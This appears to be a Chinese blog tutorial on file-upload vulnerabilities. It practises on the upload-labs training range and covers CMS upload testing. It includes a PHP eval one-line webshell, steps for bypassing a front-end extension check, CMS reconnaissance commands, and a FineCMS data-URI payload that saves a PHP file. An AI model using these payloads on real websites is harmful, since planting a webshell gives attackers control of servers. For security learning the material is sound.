文件上传之基础过滤方式

利用思路来源以下方向:

  1. 什么是文件上传漏洞

有文件上传就可以测试是否有漏洞,关键看代码是否完备。

比如上网搜索相关的上传路径:inurl:upload.php

  1. 漏洞危害

自定义网站后门,获取网站权限,属于高危漏洞。

  1. 如何查找判断

黑盒查找:不知道源代码情况下,通过目录扫描和网站应用,以及通过网站后台、会员中心进行获取权限,需要自己判断。

白盒查找:通过源代码分析文件上传漏洞。

判断:通过抓包分析

网站的目录扫描:御剑,dir等工具(扫描本地的一个上传靶场地址:http://upload-labs:8082/)

下载地址是:https://github.com/c0ny1/upload-labshttps://github.com/c0ny1/upload-labs

然后我去尝试扫描第一关(没有upload.php自然也就扫不出来):

4.网站应用功能

---上传头像、图片、会员中心、上传视频

  1. 注意事项以及应用说明

文件上传的区分归类,是编辑器还是第三方应用,还是其它的,再进行后续测试

本地文件上传漏洞靶场环境搭建测试

  1. 第一关(本地前端验证)

2.尝试文件的上传(内容可以是一句话木马:<?php @eval($_POST'cmd');?>,也可以直接PHP信息检测<?php phpinfo()?>)

3.查看上传的结果:上传1.php然后

提示:文件类型不正确,请重新上传!

4.查看本地前端源代码

复制代码
//定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";

这个代码很简单就可以绕过:

1.我可以直接删除或者禁用前端的这串代码,证明他的不存在,然后再去发送一个php文件就可以上传

2.bp抓包,修改后缀(上传一个1.jpg抓包修改成1.php)也能得到同样的效果

但是这里也有一个误区:

不是所有的情况都可以抓包,抓不了包的情况是:

  • ✅ 数据在浏览器内循环

  • ❌ 没有产生HTTP请求

  • ❌ 没有网络流量

  • ❌ BurpSuite无包可抓

尝试第一种方法上传文件:

复制代码
document.querySelector('form').onsubmit = null;

此时就能上传之前没有上传的1.php文件

尝试第二种方法上传文件:

php->png就行了

CMS 及 CVE 编号文件上传漏洞测试

CMS(内容管理系统)的文件上传漏洞测试是Web安全中的重要环节。

1. 信息收集阶段

识别CMS类
复制代码
# 使用工具识别CMS
whatweb http://target.com(kali)
复制代码
wpscan --url http://target.com  # WordPress
joomscan -u http://target.com   # Joomla
droopescan scan drupal -u http://target.com  # Drupal

2. 常见CMS上传漏洞点

WordPress
复制代码
# 常见上传路径
/wp-admin/media-new.php
/wp-admin/async-upload.php
/wp-content/uploads/
/wp-admin/plugin-install.php
Joomla
复制代码
/components/com_media/
/images/
/templates/
Drupal
复制代码
/admin/content/media
/user/[uid]/edit  # 头像上传

比如去找finecms文件漏洞的信息(Finecms SQL注入漏洞 (CVE-2018-6893)):

preg_match('/^(data:\s*image\/(\w+);base64,)/', file, result);

if ($result) {

ext = result2; // 获取图片类型作为扩展名

filename = time().'.'.ext;

// 保存文件...

}

发现正则表达式尝试绕过:data:image/php;base64,PD9waHAgcGhwaW5mbygpPz4==

这样抓包修改成把image/jpeg 改成image/php 然后加入正确的路径就可以得到数据

Weblogic简介(相当于Java开发的第三方应用)

---用于部署网站的第三方应用,相当于nginx,Apache等中间件,也类似于中间件存在文件上传漏洞。(WebLogic 后台弱⼝令GetShell(weak_password ))

相关推荐
FairGuard手游加固1 小时前
手游加固怎么做?SO、IL2CPP、AssetBundle 与运行时保护详解
安全·游戏·unity
迪康妍妍2 小时前
终端管控实操:封堵网盘与IM外发通道的落地思路
运维·网络·安全·架构·安全性测试
kunicoding2 小时前
多线程编程核心概念详解:从线程基础到并发安全
java·jvm·安全
FinelyYang2 小时前
JeecgBoot + EuroOffice 协同文档在线编辑全栈接入指南(支持 JWT 安全校验)
安全
舰长1153 小时前
curl发布8.23.0修复24个漏洞
安全
迪康Defender5 小时前
终端安全运维:浅谈迪康端点安全一体化管理系统工具箱实用能力
运维·安全·信息可视化·自动化·运维开发·学习方法·远程工作
嘟哩DuliDuli6 小时前
AI创作工作区的项目上下文与多模态任务边界
android·人工智能·安全·ai·软件工程
pusheng20256 小时前
普晟传感再获“消防产业核心配套优质品牌”:以可靠传感技术,让全球合规变简单
大数据·前端·人工智能·物联网·安全
EasyGBS7 小时前
通信基站/铁塔机房无人值守,国标GB28181公网平台EasyGBS视频能力怎么去管
深度学习·安全·音视频
深盾科技_Virbox8 小时前
软许可、加密锁和云许可混合使用时,授权接口应该怎么统一?
运维·网络·安全